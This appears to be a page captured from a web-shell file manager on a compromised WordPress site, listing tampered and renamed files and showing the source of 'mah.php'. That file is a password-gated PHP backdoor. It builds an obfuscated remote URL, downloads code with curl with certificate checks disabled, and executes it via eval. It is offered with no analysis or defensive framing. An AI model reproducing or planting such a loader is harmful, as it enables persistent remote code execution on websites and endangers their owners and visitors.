golden hour

/home/godaofbq/globalhealingzen.com

File/Folder	Size	Actions
.htaccess	236 B
.well-known	-
.well-known23c14a	-
7972e1	-
98c186404387c3	-
bbb.php926605	71.6 KB
boss2026yt	-
br2026yt	-
bz1opak	-
ccc.php7239c4	178.11 KB
click.php	1.87 KB
ed86d	-
egvarwo	-
error_log6672c3	1.99 MB
fenouy1	-
filefuns.php	5.28 KB
goods.php	1.44 KB
google21183ed585aab2b6.html	53 B
index.php	703 B
index.php0	4 B
license.txt2c12b4	19.44 KB
mah.php	1.93 KB
networks.php	1.93 KB
ntlcejo	-
pages.php	733 B
readme.html356c80	7.25 KB
robots.txt	411 B
wp-activate.phpf3a672	7.18 KB
wp-admin1b663b	-
wp-blog-header.php	2.74 KB
wp-blog-header.php78985e	351 B
wp-comments-post.php3e91ed	2.27 KB
wp-config-sample.php79702b	3.26 KB
wp-config.php3d82bc	3.26 KB
wp-contenta9dc6a	-
wp-cron.php	2.74 KB
wp-cron.php500dad	5.49 KB
wp-includes	-
wp-includes55c4b0	-
wp-links-opml.php3f98f8	2.43 KB
wp-load.php53264f	3.84 KB
wp-login.phpe375c2	50.23 KB
wp-mail.php129f8e	8.52 KB
wp-settings.phpca347e	30.33 KB
wp-signup.php8d3c99	33.71 KB
wp-trackback.php99948b	5.09 KB
xmlrpc.phpf4fb5a	3.13 KB

Edit: mah.php

<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto abM39; y6XNG: $SS8Fu .= "\x61\x64\57"; goto Toa91; XsSUB: $SS8Fu .= "\156\x2f\x61\x6d"; goto y6XNG; OzoPC: $SS8Fu .= "\145"; goto XsSUB; F0uUK: $SS8Fu .= "\164\56\61\x30\x61"; goto m5FkB; xJQZm: $SS8Fu .= "\57\x3a\x73\x70"; goto uRZbS; a7t9X: $SS8Fu .= "\63\61\57\167"; goto OzoPC; foILs: $SS8Fu .= "\164\170\x74\x2e\71"; goto a7t9X; m5FkB: $SS8Fu .= "\155\x61\144\x2f"; goto xJQZm; Toa91: $SS8Fu .= "\x70\157"; goto F0uUK; bjYUL: $SS8Fu .= "\x74\x68"; goto ZQY1f; uRZbS: $SS8Fu .= "\x74"; goto bjYUL; ZQY1f: eval("\x3f\x3e" . Tw2kx(strrev($SS8Fu))); goto GJQOP; abM39: $SS8Fu = ''; goto foILs; GJQOP: function tw2kx($V1_rw = '') { goto pvodd; xyA6t: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto QUqD1; bum1m: curl_close($xM315); goto yk51G; yk51G: return $tvmad; goto llacL; CfzL7: $tvmad = curl_exec($xM315); goto bum1m; glb9w: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto CfzL7; bhhj0: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto glb9w; QUqD1: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto bhhj0; czIL1: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto xyA6t; pvodd: $xM315 = curl_init(); goto czIL1; llacL: }